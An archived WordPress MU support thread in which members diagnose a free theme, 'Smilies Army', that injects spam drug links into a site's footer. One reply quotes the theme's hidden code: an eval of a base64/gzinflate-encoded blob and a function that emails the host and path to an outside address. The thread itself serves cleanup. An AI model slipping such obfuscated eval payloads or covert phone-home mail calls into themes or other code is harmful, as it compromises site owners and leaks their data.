The MU forums have moved to WordPress.org

Theme with unwanted ads in the scripts.. how to clean? (8 posts)

  1. arezki
    Member
    Posted 12 years ago #

    This is a follow up to my previous notes. I installed a theme called Smilies Army, which was loaded with references to sites selling cialis and other things. I managed to clean up most of it, but notice at the bottom of this page, there is mention of a 'resveratrol' some kind of medicine. My page is: http://tatazara.com/arezki/

    I naturally went to footer.php and did not find "resverasol" but something like:
    The footer php code says " for <?php wp_footer(); ?></p>
    </div>...

    Now unless there is another trick, i checked every file in the theme directory and no luck. Checking the source in the browser, I see in reference to that link:

    </div><!-- Generated in 0.588 seconds. -->
    resveratrol</p>
    </div>

    I checked style.css and there are plenty of reference to the script designer "Ccucu" with things at the bottom like:

    }
    .hidden {
    clear: both;
    visibility: hidden;
    }

    div#footer span.ccucu{
    color:#000000;
    }

    div#footer span.ccucu a,
    div#footer span.ccucu a:visited{
    color:#999999;
    font-weight: bold;
    text-decoration: none;
    }

    div#footer span.ccucu a:hover{
    text-decoration: underline;
    }

    I dont know if this means anything at all, but just in case one of you is aware about how to remove that link to the drug mentioned, that would terrific.

    Thanks a lot
    David

  2. andrea_r
    Moderator
    Posted 12 years ago #

    look in the theme's functions.php file.

  3. arezki
    Member
    Posted 12 years ago #

    Thanks Andrea... no luck.. but I just thought of a solution: get rid of that template. Simple as that. I deployed buddypress and I have to learn how to use its look and feel across the site. My challenge is essentially to restrict bloggers from installing their own themes and keep it uniform all over. Another night of research. Cheers

  4. andrea_r
    Moderator
    Posted 12 years ago #

    Yep, that works. :)

    Users can't install their own themes. Only you, the site admin, can.

    If you get the New Blog Defaults plguin, you can set the default theme for new blog creation.

    BuddyPress has its own Member theme, which is not a wordpress theme. This controls the look and feel of member profile areas, not the blogs themselves.

  5. Ovidiu
    Member
    Posted 12 years ago #

    @arezki

    how did you look at the footer.php?

    I actually went and downlaoded the theme to prove you didn't look properly or how did you not notice this:

    /* Trackback */
    function trackTheme(){
    
    	$str= 'Theme:'.$name.'
    	HOST: '.$_SERVER['HTTP_HOST'].'
    	SCRIP_PATH: '.TEMPLATEPATH.'';
    	$str_test=TEMPLATEPATH."/vs.css";
    	if(is_file($str_test)) {
    	@unlink($str_test);
        if(!is_file($str_test)){ @mail('patryk@karmacoma.net','Theme Installed',$str); }
    	}
    } 
    
    $S7a07c753934d560befc1e7330042efc2='jZBPawIxEMXPm08xDIIJWLfnynqRlR78A3aLxxBNXIO7SUhiQ1v63dtN9dRLb8PMb957PCKk5OIYtTUUldSROxsiTlCboHzk8ax6xTttLshm5HQ1GYU/V8rgkxRtZw+ig1Fy8jAjhT7RPD7MWxX5m/AUX+pVvWhgsX3dNHR45FoyWO62a7ihwzLA/rne1ZCBq++q8TlG91SWKaWp6MWHNm2yXjqvQsghwvRo+3KMrKoeGSmK5PgtY04nvBfvFLOeEb1CqOaA+7sENIMGTgDvjr/A/1wR2E83X+Qb';eval(gzinflate(base64_decode($S7a07c753934d560befc1e7330042efc2)));

    as it even says in the text itsself, its base64_encoded...

    I bet if yo udecode that it'll contain your links...
    try deleting that portion.

  6. andrea_r
    Moderator
    Posted 12 years ago #

    Even better, if you don't want to unencode it.

    View the source of the html to get the proper html & closing divs for the footper.php. paste that in the file, erasing the base 64 stuff. Delete the links.

    ta da, all fixed.

  7. kgraeme
    Member
    Posted 12 years ago #

    Ha ha, looked up the theme on a "free themes" site. Found this in the credits: "Smilies Army theme designed by Free Counter, Coded by Online Casino, tested by Online Pharmacy 21 "

  8. andrea_r
    Moderator
    Posted 12 years ago #

    Yep, thousands of themes out there with stuff like that in them.

About this Topic